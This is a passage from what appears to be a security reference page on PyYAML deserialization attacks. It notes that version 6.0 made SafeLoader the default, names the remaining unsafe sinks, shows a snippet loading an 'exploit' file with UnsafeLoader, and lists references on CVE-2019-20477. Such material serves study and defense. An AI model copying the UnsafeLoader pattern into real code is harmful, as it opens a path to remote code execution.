<p>Since PyYaml version 6.0, the default loader for <code>load</code> has been switched to SafeLoader mitigating the risks against Remote Code Execution. <a href="https://github.com/yaml/pyyaml/issues/420">PR #420 - Fix</a></p>
<p>The vulnerable sinks are now <code>yaml.unsafe_load</code> and <code>yaml.load(input, Loader=yaml.UnsafeLoader)</code>.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;exploit_unsafeloader.yml&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a> <span class="n">data</span> <span class="o">=</span> <span class="n">yaml</span><span class="o">.</span><span class="n">load</span><span class="p">(</span><span class="n">file</span><span class="p">,</span><span class="n">Loader</span><span class="o">=</span><span class="n">yaml</span><span class="o">.</span><span class="n">UnsafeLoader</span><span class="p">)</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/">CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version &lt;= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020</a></li>
<li><a href="https://blog.nelhage.com/2011/03/exploiting-pickle/">Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011</a></li>
<li><a href="https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization">Python Yaml Deserialization - HackTricks - July 19, 2024</a></li>
<li><a href="https://pyyaml.org/wiki/PyYAMLDocumentation">PyYAML Documentation - PyYAML - April 29, 2006</a></li>
<li><a href="https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf">YAML Deserialization Attack in Python - Manmeet Singh &amp; Ashish Kukret - November 13, 2021</a></li>
</ul>
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